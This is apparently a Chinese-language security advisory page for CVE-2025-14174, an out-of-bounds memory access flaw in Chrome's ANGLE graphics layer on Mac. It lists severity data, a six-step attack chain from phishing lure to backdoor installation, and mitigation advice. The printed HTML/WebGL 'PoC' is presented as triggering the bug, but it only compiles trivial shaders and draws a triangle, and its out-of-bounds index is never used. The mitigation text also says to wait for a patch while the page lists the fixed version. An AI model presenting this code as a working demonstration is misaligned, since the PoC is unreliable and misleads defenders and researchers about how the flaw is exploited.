IPBUF安全漏洞报告
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CVE-2025-14174 CVSS 8.8 高危

CVE-2025-14174: Google Chrome ANGLE越界内存访问漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-14174
漏洞类型
越界内存访问
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome (ANGLE) on Mac

相关标签

越界内存访问缓冲区溢出Google ChromeANGLEWebGLMac平台远程代码执行零日漏洞Chromium

漏洞概述

CVE-2025-14174是Google Chrome浏览器中ANGLE图形库的一个高危安全漏洞。该漏洞位于Mac平台上的ANGLE组件中,允许远程攻击者通过精心构造的恶意HTML页面执行越界内存访问。攻击者可以利用此漏洞在受害者浏览器进程中实现任意代码执行,从而窃取敏感数据、安装恶意软件或完全控制用户系统。由于该漏洞已被发现在野利用,属于典型的零日漏洞。CVSS评分8.8,属于高危漏洞,攻击复杂度低,无需特殊认证,但需要用户交互才能触发。

技术细节

该漏洞存在于Google Chrome的ANGLE(Almost Native Graphics Layer Engine)组件中,ANGLE是Chrome用于将WebGL和OpenGL ES调用转换为原生图形API的中间层。在Mac平台上,ANGLE在处理特定图形操作时存在边界检查缺陷,导致攻击者可以通过构造特殊的WebGL着色器或图形渲染请求,使浏览器访问超出预定缓冲区的内存区域。攻击者利用精心设计的HTML页面(包含恶意的canvas元素和WebGL代码)即可触发该漏洞。成功利用后,攻击者可在浏览器进程上下文中执行任意代码,绕过浏览器的沙箱保护机制。

攻击链分析

STEP 1
步骤1
攻击者创建恶意HTML页面,包含精心构造的WebGL代码和着色器程序
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站或水坑攻击等方式诱导受害者访问该页面
STEP 3
步骤3
受害者使用存在漏洞的Chrome浏览器(Mac平台)访问恶意页面
STEP 4
步骤4
恶意WebGL着色器在ANGLE组件中触发越界内存访问
STEP 5
步骤5
攻击者利用越界访问实现浏览器进程内的代码执行
STEP 6
步骤6
攻击者进一步提升权限,安装后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-14174 PoC - ANGLE Out of Bounds Memory Access --> <!DOCTYPE html> <html> <head> <title>CVE-2025-14174 PoC</title> </head> <body> <h1>ANGLE OOB Access PoC</h1> <canvas id="pocCanvas" width="800" height="600"></canvas> <script> // This PoC demonstrates the vulnerability trigger mechanism // Actual exploit requires specific shader manipulation const canvas = document.getElementById('pocCanvas'); const gl = canvas.getContext('webgl2'); if (gl) { console.log('WebGL2 context created'); // Malicious shader designed to trigger OOB access in ANGLE const vertexShaderSource = `#version 300 es layout(location=0) in vec4 position; void main() { gl_Position = position; }`; const fragmentShaderSource = `#version 300 es precision highp float; out vec4 fragColor; void main() { // Trigger OOB read/write through array indexing int idx = -1; // Out of bounds index fragColor = vec4(0.0); }`; // Shader compilation and rendering const vertexShader = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vertexShader, vertexShaderSource); gl.compileShader(vertexShader); const fragmentShader = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(fragmentShader, fragmentShaderSource); gl.compileShader(fragmentShader); const program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); gl.useProgram(program); // Trigger rendering with malicious buffer const vertices = new Float32Array([-1, -1, 0, 1, -1, 0, -1, 1, 0]); const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW); const positionLoc = gl.getAttribLocation(program, 'position'); gl.enableVertexAttribArray(positionLoc); gl.vertexAttribPointer(positionLoc, 3, gl.FLOAT, false, 0, 0); // Execute draw to trigger vulnerability gl.drawArrays(gl.TRIANGLES, 0, 3); console.log('PoC executed'); } </script> </body> </html>

影响范围

Google Chrome for Mac < 143.0.7499.110
Chromium-based browsers using affected ANGLE version

防御指南

临时缓解措施
在官方补丁发布之前,用户应避免访问不可信的网站和链接,特别是那些托管恶意HTML内容或WebGL应用的页面。同时建议启用Chrome的安全浏览功能,保持浏览器处于最新版本,并考虑使用额外的浏览器沙箱工具增加防护层。对于企业用户,应通过EDR解决方案监控浏览器进程的可疑行为。

参考链接

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